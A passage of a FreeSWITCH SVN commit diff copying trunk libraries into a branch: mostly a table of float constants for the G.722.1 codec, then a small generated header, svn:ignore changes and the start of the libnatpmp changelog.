+    {9.758363851935545e-01f, -2.185025156202481e-01f},
+    {9.755675075360243e-01f, -2.196998822028567e-01f},
+    {9.752971606914583e-01f, -2.208969179214133e-01f},
+    {9.750253450669941e-01f, -2.220936209732035e-01f},
+    {9.747520610719810e-01f, -2.232899895560143e-01f},
+    {9.744773091179798e-01f, -2.244860218681361e-01f},
+    {9.742010896187618e-01f, -2.256817161083659e-01f},
+    {9.739234029903089e-01f, -2.268770704760098e-01f},
+    {9.736442496508120e-01f, -2.280720831708857e-01f},
+    {9.733636300206708e-01f, -2.292667523933261e-01f},
+    {9.730815445224936e-01f, -2.304610763441808e-01f},
+    {9.727979935810960e-01f, -2.316550532248194e-01f},
+    {9.725129776235006e-01f, -2.328486812371343e-01f},
+    {9.722264970789363e-01f, -2.340419585835434e-01f},
+    {9.719385523788376e-01f, -2.352348834669925e-01f},
+    {9.716491439568440e-01f, -2.364274540909583e-01f},
+    {9.713582722487994e-01f, -2.376196686594509e-01f},
+    {9.710659376927513e-01f, -2.388115253770169e-01f},
+    {9.707721407289504e-01f, -2.400030224487415e-01f},
+    {9.704768817998493e-01f, -2.411941580802516e-01f},
+    {9.701801613501028e-01f, -2.423849304777186e-01f},
+    {9.698819798265667e-01f, -2.435753378478606e-01f},
+    {9.695823376782966e-01f, -2.447653783979458e-01f},
+    {9.692812353565485e-01f, -2.459550503357946e-01f},
+    {9.689786733147769e-01f, -2.471443518697825e-01f},
+    {9.686746520086348e-01f, -2.483332812088429e-01f},
+    {9.683691718959728e-01f, -2.495218365624697e-01f},
+    {9.680622334368384e-01f, -2.507100161407201e-01f},
+    {9.677538370934755e-01f, -2.518978181542170e-01f},
+    {9.674439833303232e-01f, -2.530852408141520e-01f},
+    {9.671326726140158e-01f, -2.542722823322882e-01f},
+    {9.668199054133816e-01f, -2.554589409209625e-01f},
+    {9.665056821994423e-01f, -2.566452147930884e-01f},
+    {9.661900034454125e-01f, -2.578311021621590e-01f},
+    {9.658728696266987e-01f, -2.590166012422493e-01f},
+    {9.655542812208985e-01f, -2.602017102480191e-01f},
+    {9.652342387078005e-01f, -2.613864273947156e-01f},
+    {9.649127425693828e-01f, -2.625707508981763e-01f},
+    {9.645897932898128e-01f, -2.637546789748313e-01f},
+    {9.642653913554462e-01f, -2.649382098417065e-01f},
+    {9.639395372548267e-01f, -2.661213417164257e-01f},
+    {9.636122314786845e-01f, -2.673040728172135e-01f},
+    {9.632834745199362e-01f, -2.684864013628985e-01f},
+    {9.629532668736839e-01f, -2.696683255729151e-01f},
+    {9.626216090372143e-01f, -2.708498436673069e-01f},
+    {9.622885015099981e-01f, -2.720309538667289e-01f},
+    {9.619539447936892e-01f, -2.732116543924507e-01f},
+    {9.616179393921240e-01f, -2.743919434663584e-01f},
+    {9.612804858113206e-01f, -2.755718193109581e-01f},
+    {9.609415845594780e-01f, -2.767512801493782e-01f},
+    {9.606012361469752e-01f, -2.779303242053718e-01f},
+    {9.602594410863711e-01f, -2.791089497033199e-01f},
+    {9.599161998924024e-01f, -2.802871548682339e-01f},
+    {9.595715130819845e-01f, -2.814649379257579e-01f},
+    {9.592253811742094e-01f, -2.826422971021723e-01f},
+    {9.588778046903456e-01f, -2.838192306243950e-01f},
+    {9.585287841538368e-01f, -2.849957367199857e-01f},
+    {9.581783200903017e-01f, -2.861718136171474e-01f},
+    {9.578264130275329e-01f, -2.873474595447295e-01f},
+    {9.574730634954960e-01f, -2.885226727322305e-01f},
+    {9.571182720263292e-01f, -2.896974514098006e-01f},
+    {9.567620391543418e-01f, -2.908717938082443e-01f},
+    {9.564043654160141e-01f, -2.920456981590233e-01f},
+    {9.560452513499964e-01f, -2.932191626942586e-01f},
+    {9.556846974971080e-01f, -2.943921856467341e-01f},
+    {9.553227044003364e-01f, -2.955647652498983e-01f},
+    {9.549592726048367e-01f, -2.967368997378675e-01f},
+    {9.545944026579306e-01f, -2.979085873454284e-01f},
+    {9.542280951091057e-01f, -2.990798263080405e-01f},
+    {9.538603505100144e-01f, -3.002506148618392e-01f},
+    {9.534911694144735e-01f, -3.014209512436381e-01f},
+    {9.531205523784633e-01f, -3.025908336909318e-01f},
+    {9.527484999601259e-01f, -3.037602604418984e-01f},
+    {9.523750127197659e-01f, -3.049292297354024e-01f},
+    {9.520000912198481e-01f, -3.060977398109971e-01f},
+    {9.516237360249976e-01f, -3.072657889089275e-01f},
+    {9.512459477019986e-01f, -3.084333752701328e-01f},
+    {9.508667268197933e-01f, -3.096004971362489e-01f},
+    {9.504860739494817e-01f, -3.107671527496115e-01f},
+    {9.501039896643201e-01f, -3.119333403532583e-01f},
+    {9.497204745397203e-01f, -3.130990581909318e-01f},
+    {9.493355291532494e-01f, -3.142643045070820e-01f},
+    {9.489491540846281e-01f, -3.154290775468691e-01f},
+    {9.485613499157303e-01f, -3.165933755561658e-01f},
+    {9.481721172305820e-01f, -3.177571967815606e-01f},
+    {9.477814566153607e-01f, -3.189205394703594e-01f},
+    {9.473893686583942e-01f, -3.200834018705895e-01f},
+    {9.469958539501598e-01f, -3.212457822310009e-01f},
+    {9.466009130832835e-01f, -3.224076788010699e-01f},
+    {9.462045466525394e-01f, -3.235690898310011e-01f},
+    {9.458067552548478e-01f, -3.247300135717307e-01f},
+    {9.454075394892756e-01f, -3.258904482749284e-01f},
+    {9.450068999570345e-01f, -3.270503921930005e-01f},
+    {9.446048372614803e-01f, -3.282098435790925e-01f},
+    {9.442013520081122e-01f, -3.293688006870915e-01f},
+    {9.437964448045717e-01f, -3.305272617716291e-01f},
+    {9.433901162606417e-01f, -3.316852250880838e-01f},
+    {9.429823669882458e-01f, -3.328426888925837e-01f},
+    {9.425731976014469e-01f, -3.339996514420094e-01f},
+    {9.421626087164466e-01f, -3.351561109939961e-01f},
+    {9.417506009515846e-01f, -3.363120658069366e-01f},
+    {9.413371749273369e-01f, -3.374675141399838e-01f},
+    {9.409223312663159e-01f, -3.386224542530535e-01f},
+    {9.405060705932683e-01f, -3.397768844068269e-01f},
+    {9.400883935350755e-01f, -3.409308028627527e-01f},
+    {9.396693007207513e-01f, -3.420842078830508e-01f},
+    {9.392487927814420e-01f, -3.432370977307140e-01f},
+    {9.388268703504251e-01f, -3.443894706695110e-01f},
+    {9.384035340631081e-01f, -3.455413249639891e-01f},
+    {9.379787845570278e-01f, -3.466926588794764e-01f},
+    {9.375526224718491e-01f, -3.478434706820849e-01f},
+    {9.371250484493645e-01f, -3.489937586387129e-01f},
+    {9.366960631334929e-01f, -3.501435210170474e-01f},
+    {9.362656671702783e-01f, -3.512927560855671e-01f},
+    {9.358338612078891e-01f, -3.524414621135448e-01f},
+    {9.354006458966176e-01f, -3.535896373710499e-01f},
+    {9.349660218888781e-01f, -3.547372801289512e-01f},
+    {9.345299898392064e-01f, -3.558843886589194e-01f},
+    {9.340925504042590e-01f, -3.570309612334300e-01f},
+    {9.336537042428116e-01f, -3.581769961257653e-01f},
+    {9.332134520157588e-01f, -3.593224916100174e-01f},
+    {9.327717943861125e-01f, -3.604674459610909e-01f},
+    {9.323287320190009e-01f, -3.616118574547051e-01f},
+    {9.318842655816681e-01f, -3.627557243673972e-01f},
+    {9.314383957434725e-01f, -3.638990449765241e-01f},
+    {9.309911231758859e-01f, -3.650418175602657e-01f},
+    {9.305424485524929e-01f, -3.661840403976272e-01f},
+    {9.300923725489892e-01f, -3.673257117684415e-01f},
+    {9.296408958431813e-01f, -3.684668299533723e-01f},
+    {9.291880191149847e-01f, -3.696073932339162e-01f},
+    {9.287337430464239e-01f, -3.707473998924054e-01f},
+    {9.282780683216301e-01f, -3.718868482120106e-01f},
+    {9.278209956268415e-01f, -3.730257364767432e-01f},
+    {9.273625256504011e-01f, -3.741640629714579e-01f},
+    {9.269026590827565e-01f, -3.753018259818559e-01f},
+    {9.264413966164585e-01f, -3.764390237944864e-01f},
+    {9.259787389461599e-01f, -3.775756546967501e-01f},
+    {9.255146867686148e-01f, -3.787117169769015e-01f},
+    {9.250492407826776e-01f, -3.798472089240512e-01f},
+    {9.245824016893013e-01f, -3.809821288281689e-01f},
+    {9.241141701915373e-01f, -3.821164749800858e-01f},
+    {9.236445469945337e-01f, -3.832502456714969e-01f},
+    {9.231735328055345e-01f, -3.843834391949643e-01f},
+    {9.227011283338786e-01f, -3.855160538439188e-01f},
+    {9.222273342909986e-01f, -3.866480879126634e-01f},
+    {9.217521513904198e-01f, -3.877795396963752e-01f},
+    {9.212755803477590e-01f, -3.889104074911081e-01f},
+    {9.207976218807237e-01f, -3.900406895937958e-01f},
+    {9.203182767091106e-01f, -3.911703843022539e-01f},
+    {9.198375455548048e-01f, -3.922994899151824e-01f},
+    {9.193554291417789e-01f, -3.934280047321689e-01f},
+    {9.188719281960914e-01f, -3.945559270536903e-01f},
+    {9.183870434458861e-01f, -3.956832551811160e-01f},
+    {9.179007756213905e-01f, -3.968099874167103e-01f},
+    {9.174131254549152e-01f, -3.979361220636348e-01f},
+    {9.169240936808526e-01f, -3.990616574259509e-01f},
+    {9.164336810356757e-01f, -4.001865918086229e-01f},
+    {9.159418882579371e-01f, -4.013109235175197e-01f},
+    {9.154487160882678e-01f, -4.024346508594184e-01f},
+    {9.149541652693762e-01f, -4.035577721420057e-01f},
+    {9.144582365460469e-01f, -4.046802856738814e-01f},
+    {9.139609306651395e-01f, -4.058021897645602e-01f},
+    {9.134622483755878e-01f, -4.069234827244749e-01f},
+    {9.129621904283982e-01f, -4.080441628649787e-01f},
+    {9.124607575766490e-01f, -4.091642284983474e-01f},
+    {9.119579505754890e-01f, -4.102836779377824e-01f},
+    {9.114537701821365e-01f, -4.114025094974132e-01f},
+    {9.109482171558779e-01f, -4.125207214922996e-01f},
+    {9.104412922580672e-01f, -4.136383122384345e-01f},
+    {9.099329962521239e-01f, -4.147552800527466e-01f},
+    {9.094233299035327e-01f, -4.158716232531024e-01f},
+    {9.089122939798419e-01f, -4.169873401583093e-01f},
+    {9.083998892506623e-01f, -4.181024290881177e-01f},
+    {9.078861164876663e-01f, -4.192168883632239e-01f},
+    {9.073709764645862e-01f, -4.203307163052724e-01f},
+    {9.068544699572136e-01f, -4.214439112368585e-01f},
+    {9.063365977433983e-01f, -4.225564714815306e-01f},
+    {9.058173606030460e-01f, -4.236683953637931e-01f},
+    {9.052967593181188e-01f, -4.247796812091088e-01f},
+    {9.047747946726327e-01f, -4.258903273439013e-01f},
+    {9.042514674526569e-01f, -4.270003320955576e-01f},
+    {9.037267784463131e-01f, -4.281096937924305e-01f},
+    {9.032007284437731e-01f, -4.292184107638414e-01f},
+    {9.026733182372588e-01f, -4.303264813400826e-01f},
+    {9.021445486210405e-01f, -4.314339038524199e-01f},
+    {9.016144203914357e-01f, -4.325406766330948e-01f},
+    {9.010829343468079e-01f, -4.336467980153277e-01f},
+    {9.005500912875654e-01f, -4.347522663333197e-01f},
+    {9.000158920161603e-01f, -4.358570799222555e-01f},
+    {8.994803373370870e-01f, -4.369612371183058e-01f},
+    {8.989434280568812e-01f, -4.380647362586298e-01f},
+    {8.984051649841186e-01f, -4.391675756813778e-01f},
+    {8.978655489294136e-01f, -4.402697537256935e-01f},
+    {8.973245807054183e-01f, -4.413712687317167e-01f},
+    {8.967822611268210e-01f, -4.424721190405857e-01f},
+    {8.962385910103452e-01f, -4.435723029944398e-01f},
+    {8.956935711747483e-01f, -4.446718189364220e-01f},
+    {8.951472024408204e-01f, -4.457706652106809e-01f},
+    {8.945994856313827e-01f, -4.468688401623742e-01f},
+    {8.940504215712870e-01f, -4.479663421376699e-01f},
+    {8.935000110874138e-01f, -4.490631694837502e-01f},
+    {8.929482550086714e-01f, -4.501593205488127e-01f},
+    {8.923951541659944e-01f, -4.512547936820739e-01f},
+    {8.918407093923427e-01f, -4.523495872337709e-01f},
+    {8.912849215227001e-01f, -4.534436995551644e-01f},
+    {8.907277913940732e-01f, -4.545371289985410e-01f},
+    {8.901693198454897e-01f, -4.556298739172159e-01f},
+    {8.896095077179980e-01f, -4.567219326655349e-01f},
+    {8.890483558546646e-01f, -4.578133035988772e-01f},
+    {8.884858651005743e-01f, -4.589039850736579e-01f},
+    {8.879220363028281e-01f, -4.599939754473306e-01f},
+    {8.873568703105417e-01f, -4.610832730783892e-01f},
+    {8.867903679748451e-01f, -4.621718763263714e-01f},
+    {8.862225301488806e-01f, -4.632597835518601e-01f},
+    {8.856533576878016e-01f, -4.643469931164871e-01f},
+    {8.850828514487716e-01f, -4.654335033829341e-01f},
+    {8.845110122909626e-01f, -4.665193127149364e-01f},
+    {8.839378410755541e-01f, -4.676044194772847e-01f},
+    {8.833633386657316e-01f, -4.686888220358279e-01f},
+    {8.827875059266853e-01f, -4.697725187574754e-01f},
+    {8.822103437256089e-01f, -4.708555080101994e-01f},
+    {8.816318529316984e-01f, -4.719377881630376e-01f},
+    {8.810520344161502e-01f, -4.730193575860958e-01f},
+    {8.804708890521608e-01f, -4.741002146505500e-01f},
+    {8.798884177149244e-01f, -4.751803577286489e-01f},
+    {8.793046212816323e-01f, -4.762597851937166e-01f},
+    {8.787195006314716e-01f, -4.773384954201548e-01f},
+    {8.781330566456232e-01f, -4.784164867834454e-01f},
+    {8.775452902072614e-01f, -4.794937576601530e-01f},
+    {8.769562022015515e-01f, -4.805703064279270e-01f},
+    {8.763657935156495e-01f, -4.816461314655044e-01f},
+    {8.757740650387004e-01f, -4.827212311527123e-01f},
+    {8.751810176618363e-01f, -4.837956038704698e-01f},
+    {8.745866522781761e-01f, -4.848692480007911e-01f},
+    {8.739909697828232e-01f, -4.859421619267875e-01f},
+    {8.733939710728648e-01f, -4.870143440326701e-01f},
+    {8.727956570473698e-01f, -4.880857927037520e-01f},
+    {8.721960286073888e-01f, -4.891565063264507e-01f},
+    {8.715950866559510e-01f, -4.902264832882912e-01f},
+    {8.709928320980644e-01f, -4.912957219779071e-01f},
+    {8.703892658407133e-01f, -4.923642207850446e-01f},
+    {8.697843887928577e-01f, -4.934319781005636e-01f},
+    {8.691782018654314e-01f, -4.944989923164409e-01f},
+    {8.685707059713409e-01f, -4.955652618257725e-01f},
+    {8.679619020254642e-01f, -4.966307850227757e-01f},
+    {8.673517909446490e-01f, -4.976955603027919e-01f},
+    {8.667403736477115e-01f, -4.987595860622885e-01f},
+    {8.661276510554351e-01f, -4.998228606988624e-01f},
+    {8.655136240905691e-01f, -5.008853826112407e-01f},
+    {8.648982936778269e-01f, -5.019471501992850e-01f},
+    {8.642816607438848e-01f, -5.030081618639924e-01f},
+    {8.636637262173812e-01f, -5.040684160074983e-01f},
+    {8.630444910289141e-01f, -5.051279110330795e-01f},
+    {8.624239561110406e-01f, -5.061866453451552e-01f},
+    {8.618021223982749e-01f, -5.072446173492910e-01f},
+    {8.611789908270876e-01f, -5.083018254522002e-01f},
+    {8.605545623359034e-01f, -5.093582680617462e-01f},
+    {8.599288378651004e-01f, -5.104139435869457e-01f},
+    {8.593018183570085e-01f, -5.114688504379703e-01f},
+    {8.586735047559073e-01f, -5.125229870261497e-01f},
+    {8.580438980080262e-01f, -5.135763517639729e-01f},
+    {8.574129990615412e-01f, -5.146289430650919e-01f},
+    {8.567808088665750e-01f, -5.156807593443229e-01f},
+    {8.561473283751945e-01f, -5.167317990176499e-01f},
+    {8.555125585414098e-01f, -5.177820605022260e-01f},
+    {8.548765003211730e-01f, -5.188315422163763e-01f},
+    {8.542391546723761e-01f, -5.198802425796005e-01f},
+    {8.536005225548502e-01f, -5.209281600125748e-01f},
+    {8.529606049303636e-01f, -5.219752929371544e-01f},
+    {8.523194027626210e-01f, -5.230216397763758e-01f},
+    {8.516769170172609e-01f, -5.240671989544601e-01f},
+    {8.510331486618554e-01f, -5.251119688968137e-01f},
+    {8.503880986659081e-01f, -5.261559480300321e-01f},
+    {8.497417680008525e-01f, -5.271991347819013e-01f},
+    {8.490941576400509e-01f, -5.282415275814013e-01f},
+    {8.484452685587929e-01f, -5.292831248587072e-01f},
+    {8.477951017342936e-01f, -5.303239250451923e-01f},
+    {8.471436581456926e-01f, -5.313639265734305e-01f},
+    {8.464909387740521e-01f, -5.324031278771979e-01f},
+    {8.458369446023557e-01f, -5.334415273914767e-01f},
+    {8.451816766155068e-01f, -5.344791235524554e-01f},
+    {8.445251358003272e-01f, -5.355159147975332e-01f},
+    {8.438673231455553e-01f, -5.365518995653215e-01f},
+    {8.432082396418454e-01f, -5.375870762956454e-01f},
+    {8.425478862817651e-01f, -5.386214434295480e-01f},
+    {8.418862640597948e-01f, -5.396549994092906e-01f},
+    {8.412233739723254e-01f, -5.406877426783570e-01f},
+    {8.405592170176576e-01f, -5.417196716814542e-01f},
+    {8.398937941959995e-01f, -5.427507848645159e-01f},
+    {8.392271065094661e-01f, -5.437810806747042e-01f},
+    {8.385591549620770e-01f, -5.448105575604123e-01f},
+    {8.378899405597550e-01f, -5.458392139712668e-01f},
+    {8.372194643103249e-01f, -5.468670483581293e-01f},
+    {8.365477272235120e-01f, -5.478940591731002e-01f},
+    {8.358747303109401e-01f, -5.489202448695194e-01f},
+    {8.352004745861303e-01f, -5.499456039019702e-01f},
+    {8.345249610644997e-01f, -5.509701347262801e-01f},
+    {8.338481907633595e-01f, -5.519938357995242e-01f},
+    {8.331701647019132e-01f, -5.530167055800275e-01f},
+    {8.324908839012561e-01f, -5.540387425273663e-01f},
+    {8.318103493843727e-01f, -5.550599451023716e-01f},
+    {8.311285621761358e-01f, -5.560803117671306e-01f},
+    {8.304455233033046e-01f, -5.570998409849897e-01f},
+    {8.297612337945230e-01f, -5.581185312205561e-01f},
+    {8.290756946803191e-01f, -5.591363809397010e-01f},
+    {8.283889069931020e-01f, -5.601533886095610e-01f},
+    {8.277008717671618e-01f, -5.611695526985409e-01f},
+    {8.270115900386670e-01f, -5.621848716763159e-01f},
+    {8.263210628456635e-01f, -5.631993440138341e-01f},
+    {8.256292912280727e-01f, -5.642129681833185e-01f},
+    {8.249362762276903e-01f, -5.652257426582692e-01f},
+    {8.242420188881840e-01f, -5.662376659134664e-01f},
+    {8.235465202550933e-01f, -5.672487364249718e-01f},
+    {8.228497813758264e-01f, -5.682589526701315e-01f},
+    {8.221518032996592e-01f, -5.692683131275782e-01f},
+    {8.214525870777344e-01f, -5.702768162772331e-01f},
+    {8.207521337630588e-01f, -5.712844606003090e-01f},
+    {8.200504444105025e-01f, -5.722912445793115e-01f},
+    {8.193475200767969e-01f, -5.732971666980422e-01f},
+    {8.186433618205335e-01f, -5.743022254416005e-01f},
+    {8.179379707021619e-01f, -5.753064192963863e-01f},
+    {8.172313477839882e-01f, -5.763097467501014e-01f},
+    {8.165234941301740e-01f, -5.773122062917532e-01f},
+    {8.158144108067338e-01f, -5.783137964116556e-01f},
+    {8.151040988815345e-01f, -5.793145156014319e-01f},
+    {8.143925594242929e-01f, -5.803143623540171e-01f},
+    {8.136797935065747e-01f, -5.813133351636602e-01f},
+    {8.129658022017924e-01f, -5.823114325259262e-01f},
+    {8.122505865852039e-01f, -5.833086529376983e-01f},
+    {8.115341477339112e-01f, -5.843049948971807e-01f},
+    {8.108164867268581e-01f, -5.853004569039005e-01f},
+    {8.100976046448293e-01f, -5.862950374587097e-01f},
+    {8.093775025704479e-01f, -5.872887350637883e-01f},
+    {8.086561815881750e-01f, -5.882815482226452e-01f},
+    {8.079336427843067e-01f, -5.892734754401222e-01f},
+    {8.072098872469734e-01f, -5.902645152223945e-01f},
+    {8.064849160661379e-01f, -5.912546660769743e-01f},
+    {8.057587303335938e-01f, -5.922439265127122e-01f},
+    {8.050313311429637e-01f, -5.932322950397998e-01f},
+    {8.043027195896973e-01f, -5.942197701697721e-01f},
+    {8.035728967710708e-01f, -5.952063504155093e-01f},
+    {8.028418637861839e-01f, -5.961920342912395e-01f},
+    {8.021096217359593e-01f, -5.971768203125404e-01f},
+    {8.013761717231402e-01f, -5.981607069963423e-01f},
+    {8.006415148522891e-01f, -5.991436928609294e-01f},
+    {7.999056522297859e-01f, -6.001257764259429e-01f},
+    {7.991685849638264e-01f, -6.011069562123827e-01f},
+    {7.984303141644207e-01f, -6.020872307426096e-01f},
+    {7.976908409433912e-01f, -6.030665985403482e-01f},
+    {7.969501664143711e-01f, -6.040450581306880e-01f},
+    {7.962082916928030e-01f, -6.050226080400867e-01f},
+    {7.954652178959369e-01f, -6.059992467963715e-01f},
+    {7.947209461428283e-01f, -6.069749729287426e-01f},
+    {7.939754775543372e-01f, -6.079497849677736e-01f},
+    {7.932288132531257e-01f, -6.089236814454155e-01f},
+    {7.924809543636567e-01f, -6.098966608949977e-01f},
+    {7.917319020121923e-01f, -6.108687218512306e-01f},
+    {7.909816573267918e-01f, -6.118398628502083e-01f},
+    {7.902302214373100e-01f, -6.128100824294097e-01f},
+    {7.894775954753960e-01f, -6.137793791277018e-01f},
+    {7.887237805744907e-01f, -6.147477514853411e-01f},
+    {7.879687778698258e-01f, -6.157151980439765e-01f},
+    {7.872125884984216e-01f, -6.166817173466510e-01f},
+    {7.864552135990858e-01f, -6.176473079378039e-01f},
+    {7.856966543124112e-01f, -6.186119683632733e-01f},
+    {7.849369117807745e-01f, -6.195756971702979e-01f},
+    {7.841759871483340e-01f, -6.205384929075197e-01f},
+    {7.834138815610288e-01f, -6.215003541249855e-01f},
+    {7.826505961665757e-01f, -6.224612793741500e-01f},
+    {7.818861321144691e-01f, -6.234212672078768e-01f},
+    {7.811204905559779e-01f, -6.243803161804418e-01f},
+    {7.803536726441443e-01f, -6.253384248475345e-01f},
+    {7.795856795337824e-01f, -6.262955917662607e-01f},
+    {7.788165123814760e-01f, -6.272518154951441e-01f},
+    {7.780461723455767e-01f, -6.282070945941292e-01f},
+    {7.772746605862029e-01f, -6.291614276245828e-01f},
+    {7.765019782652373e-01f, -6.301148131492967e-01f},
+    {7.757281265463254e-01f, -6.310672497324895e-01f},
+    {7.749531065948739e-01f, -6.320187359398091e-01f},
+    {7.741769195780490e-01f, -6.329692703383341e-01f},
+    {7.733995666647743e-01f, -6.339188514965771e-01f},
+    {7.726210490257291e-01f, -6.348674779844861e-01f},
+    {7.718413678333470e-01f, -6.358151483734467e-01f},
+    {7.710605242618138e-01f, -6.367618612362842e-01f},
+    {7.702785194870657e-01f, -6.377076151472665e-01f},
+    {7.694953546867879e-01f, -6.386524086821050e-01f},
+    {7.687110310404124e-01f, -6.395962404179578e-01f},
+    {7.679255497291163e-01f, -6.405391089334316e-01f},
+    {7.671389119358204e-01f, -6.414810128085832e-01f},
+    {7.663511188451869e-01f, -6.424219506249224e-01f},
+    {7.655621716436182e-01f, -6.433619209654138e-01f},
+    {7.647720715192542e-01f, -6.443009224144792e-01f},
+    {7.639808196619715e-01f, -6.452389535579994e-01f},
+    {7.631884172633813e-01f, -6.461760129833163e-01f},
+    {7.623948655168271e-01f, -6.471120992792355e-01f},
+    {7.616001656173835e-01f, -6.480472110360278e-01f},
+    {7.608043187618542e-01f, -6.489813468454321e-01f},
+    {7.600073261487703e-01f, -6.499145053006563e-01f},
+    {7.592091889783881e-01f, -6.508466849963809e-01f},
+    {7.584099084526877e-01f, -6.517778845287601e-01f},
+    {7.576094857753715e-01f, -6.527081024954242e-01f},
+    {7.568079221518612e-01f, -6.536373374954818e-01f},
+    {7.560052187892974e-01f, -6.545655881295217e-01f},
+    {7.552013768965365e-01f, -6.554928529996153e-01f},
+    {7.543963976841503e-01f, -6.564191307093185e-01f},
+    {7.535902823644226e-01f, -6.573444198636738e-01f},
+    {7.527830321513488e-01f, -6.582687190692122e-01f},
+    {7.519746482606328e-01f, -6.591920269339562e-01f},
+    {7.511651319096865e-01f, -6.601143420674205e-01f},
+    {7.503544843176265e-01f, -6.610356630806152e-01f},
+    {7.495427067052737e-01f, -6.619559885860479e-01f},
+    {7.487298002951505e-01f, -6.628753171977246e-01f},
+    {7.479157663114792e-01f, -6.637936475311532e-01f},
+    {7.471006059801801e-01f, -6.647109782033448e-01f},
+    {7.462843205288703e-01f, -6.656273078328160e-01f},
+    {7.454669111868606e-01f, -6.665426350395909e-01f},
+    {7.446483791851549e-01f, -6.674569584452033e-01f},
+    {7.438287257564475e-01f, -6.683702766726985e-01f},
+    {7.430079521351217e-01f, -6.692825883466360e-01f},
+    {7.421860595572477e-01f, -6.701938920930909e-01f},
+    {7.413630492605809e-01f, -6.711041865396560e-01f},
+    {7.405389224845600e-01f, -6.720134703154446e-01f},
+    {7.397136804703048e-01f, -6.729217420510915e-01f},
+    {7.388873244606151e-01f, -6.738290003787560e-01f},
+    {7.380598556999681e-01f, -6.747352439321236e-01f},
+    {7.372312754345167e-01f, -6.756404713464076e-01f},
+    {7.364015849120877e-01f, -6.765446812583521e-01f},
+    {7.355707853821803e-01f, -6.774478723062332e-01f},
+    {7.347388780959635e-01f, -6.783500431298615e-01f},
+    {7.339058643062745e-01f, -6.792511923705841e-01f},
+    {7.330717452676171e-01f, -6.801513186712865e-01f},
+    {7.322365222361595e-01f, -6.810504206763948e-01f},
+    {7.314001964697324e-01f, -6.819484970318775e-01f},
+    {7.305627692278276e-01f, -6.828455463852481e-01f},
+    {7.297242417715950e-01f, -6.837415673855661e-01f},
+    {7.288846153638420e-01f, -6.846365586834405e-01f},
+    {7.280438912690308e-01f, -6.855305189310302e-01f},
+    {7.272020707532766e-01f, -6.864234467820476e-01f},
+    {7.263591550843460e-01f, -6.873153408917591e-01f},
+    {7.255151455316546e-01f, -6.882061999169885e-01f},
+    {7.246700433662657e-01f, -6.890960225161182e-01f},
+    {7.238238498608879e-01f, -6.899848073490914e-01f},
+    {7.229765662898732e-01f, -6.908725530774144e-01f},
+    {7.221281939292153e-01f, -6.917592583641577e-01f},
+    {7.212787340565479e-01f, -6.926449218739597e-01f},
+    {7.204281879511419e-01f, -6.935295422730269e-01f},
+    {7.195765568939045e-01f, -6.944131182291369e-01f},
+    {7.187238421673769e-01f, -6.952956484116404e-01f},
+    {7.178700450557317e-01f, -6.961771314914630e-01f},
+    {7.170151668447722e-01f, -6.970575661411068e-01f},
+    {7.161592088219294e-01f, -6.979369510346534e-01f},
+    {7.153021722762606e-01f, -6.988152848477649e-01f},
+    {7.144440584984474e-01f, -6.996925662576865e-01f},
+    {7.135848687807936e-01f, -7.005687939432483e-01f},
+    {7.127246044172235e-01f, -7.014439665848672e-01f},
+    {7.118632667032795e-01f, -7.023180828645491e-01f},
+    {7.110008569361208e-01f, -7.031911414658905e-01f},
+    {7.101373764145209e-01f, -7.040631410740809e-01f},
+    {7.092728264388657e-01f, -7.049340803759049e-01f},
+    {7.084072083111520e-01f, -7.058039580597435e-01f},
+    {7.075405233349850e-01f, -7.066727728155766e-01f}
+};
+

Deleted: freeswitch/branches/seven/libs/libg722_1/src/generated/g722_1.h

Copied: freeswitch/branches/seven/libs/libg722_1/src/generated/g722_1.h (from rev 14471, freeswitch/trunk/libs/libg722_1/src/generated/g722_1.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libg722_1/src/generated/g722_1.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libg722_1/src/generated/g722_1.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+/*
+ * g722_1 - a library for the G.722.1 codec
+ *
+ * g722_1.h - The head guy amongst the headers
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * $Id: g722_1.h.in,v 1.1.1.1 2008/09/20 09:47:17 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_G722_1_H_)
+#define _G722_1_H_
+
+#undef G722_1_USE_FIXED_POINT
+
+#include <stdlib.h>
+#include <inttypes.h>
+#include <string.h>
+#include <limits.h>
+#include <time.h>
+#include <math.h>
+
+#include <g722_1/g722_1.h>
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Property changes: freeswitch/branches/seven/libs/libg722_1/test-data


Name: svn:ignore
   + Makefile
Makefile.in

Deleted: freeswitch/branches/seven/libs/libg722_1/test-data/Makefile.in

Property changes: freeswitch/branches/seven/libs/libg722_1/test-data/itu


Name: svn:ignore
   + Makefile
Makefile.in

Deleted: freeswitch/branches/seven/libs/libg722_1/test-data/itu/Makefile.in

Property changes: freeswitch/branches/seven/libs/libg722_1/test-data/local


Name: svn:ignore
   + Makefile
Makefile.in

Deleted: freeswitch/branches/seven/libs/libg722_1/test-data/local/Makefile.in

Property changes: freeswitch/branches/seven/libs/libg722_1/tests


Name: svn:ignore
   + .deps
regression_tests.sh
Makefile
Makefile.in

Deleted: freeswitch/branches/seven/libs/libg722_1/tests/Makefile.in

Copied: freeswitch/branches/seven/libs/libnatpmp (from rev 14471, freeswitch/trunk/libs/libnatpmp)

Deleted: freeswitch/branches/seven/libs/libnatpmp/Changelog.txt

Copied: freeswitch/branches/seven/libs/libnatpmp/Changelog.txt (from rev 14471, freeswitch/trunk/libs/libnatpmp/Changelog.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/Changelog.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/Changelog.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+$Id: Changelog.txt,v 1.14 2009/03/10 10:15:30 nanard Exp $
+
+2009/03/10:
+  Trying to have windows get gateway working if not using DHCP
+
+2009/02/27:
+  dont include declspec.h if not under WIN32.
+
+2009/01/23:
+  Prefixed the libraries name with lib
+
+2008/10/06:
+  Fixed a memory leak in getdefaultgateway() (USE_SYSCTL_NET_ROUTE)
+
+2008/07/03:
+  Adding WIN32 code from Robbie Hanson
+
+2008/06/30:
+  added a Solaris implementation for getgateway().
+  added a LICENCE file to the distribution
+
+2008/05/29:
+  Anonymous unions are forbidden in ANSI C. That was causing problems with
+  non-GCC compilers.
+
+2008/04/28:
